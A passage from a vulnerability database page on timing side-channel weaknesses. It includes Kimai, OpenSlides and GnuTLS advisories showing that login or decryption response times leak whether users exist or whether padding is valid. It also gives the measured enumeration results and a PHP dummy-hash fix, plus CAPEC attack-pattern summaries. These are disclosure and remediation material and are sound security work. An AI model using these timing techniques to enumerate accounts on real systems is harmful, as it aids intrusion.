-\nnonexistent_user_aaa 38.1ms +0.4ms -\nnonexistent_user_bbb 37.5ms -0.2ms -\nnonexistent_user_ccc 38.4ms +0.7ms -\n```\n\nIn this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.\n\n## Fix\n\nIn `TokenAuthenticator::authenticate()`, run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:\n\n```php\nprivate const DUMMY_HASH = \u0027$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0\u0027;\n\ntry {\n $user = $this-\u003euserProvider-\u003eloadUserByIdentifier($credentials[\u0027username\u0027]);\n} catch (UserNotFoundException $e) {\n $this-\u003epasswordHasherFactory\n -\u003egetPasswordHasher(User::class)\n -\u003everify(self::DUMMY_HASH, $credentials[\u0027password\u0027]);\n throw $e;\n}\n```\n\nThe dummy hash must use the same algorithm and parameters as real user hashes so that `verify()` consumes equivalent CPU. Generate it once with `password_hash(\u0027dummy\u0027, PASSWORD_ARGON2ID)` and pin it as a constant.\n\n## Relevance\n\nThe practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, [this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026](https://www.kimai.org/en/blog/2026/removing-api-passwords), so the issue only affects a legacy mechanism that is already being phased out. \ufffc",
"id": "GHSA-jrc6-fmhw-fpq2",
"modified": "2026-04-17T22:30:59Z",
"published": "2026-04-17T22:30:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kimai/kimai/security/advisories/GHSA-jrc6-fmhw-fpq2"
},
{
"type": "PACKAGE",
"url": "https://github.com/kimai/kimai"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Kimai: Username enumeration via timing on X-AUTH-USER"
}
GHSA-JVFR-JF2P-RC53
Vulnerability from github – Published: 2025-03-21 06:30 – Updated: 2025-03-21 06:30An issue was discovered in OpenSlides before 4.2.5. During login at the /system/auth/login/ endpoint, the system's response times differ depending on whether a user exists in the system. The timing discrepancy stems from the omitted hashing of the password (e.g., more than 100 milliseconds).
{
"affected": [],
"aliases": [
"CVE-2025-30344"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-21T06:15:26Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in OpenSlides before 4.2.5. During login at the /system/auth/login/ endpoint, the system\u0027s response times differ depending on whether a user exists in the system. The timing discrepancy stems from the omitted hashing of the password (e.g., more than 100 milliseconds).",
"id": "GHSA-jvfr-jf2p-rc53",
"modified": "2025-03-21T06:30:27Z",
"published": "2025-03-21T06:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30344"
},
{
"type": "WEB",
"url": "https://www.x41-dsec.de/lab/advisories/x41-2025-001-OpenSlides"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JVJ3-GQJM-CG8P
Vulnerability from github – Published: 2023-11-28 12:31 – Updated: 2025-11-04 21:30A vulnerability was found that the response times to malformed ciphertexts in RSA-PSK ClientKeyExchange differ from response times of ciphertexts with correct PKCS#1 v1.5 padding.
{
"affected": [],
"aliases": [
"CVE-2023-5981"
],
"database_specific": {
"cwe_ids": [
"CWE-203",
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-28T12:15:07Z",
"severity": "HIGH"
},
"details": "A vulnerability was found that the response times to malformed ciphertexts in RSA-PSK ClientKeyExchange differ from response times of ciphertexts with correct PKCS#1 v1.5 padding.",
"id": "GHSA-jvj3-gqjm-cg8p",
"modified": "2025-11-04T21:30:48Z",
"published": "2023-11-28T12:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5981"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:0155"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:0319"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:0399"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:0451"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:0533"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1383"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:2094"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-5981"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2248445"
},
{
"type": "WEB",
"url": "https://gnutls.org/security-new.html#GNUTLS-SA-2023-10-23"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/11/msg00016.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7ZEIOLORQ7N6WRPFXZSYDL2MC4LP7VFV"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GNXKVR5YNUEBNHAHM5GSYKBZX4W2HMN2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/01/19/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-541: Application Fingerprinting
An adversary engages in fingerprinting activities to determine the type or version of an application installed on a remote target.
CAPEC-580: System Footprinting
An adversary engages in active probing and exploration activities to determine security information about a remote target system. Often times adversaries will rely on remote applications that can be probed for system configurations.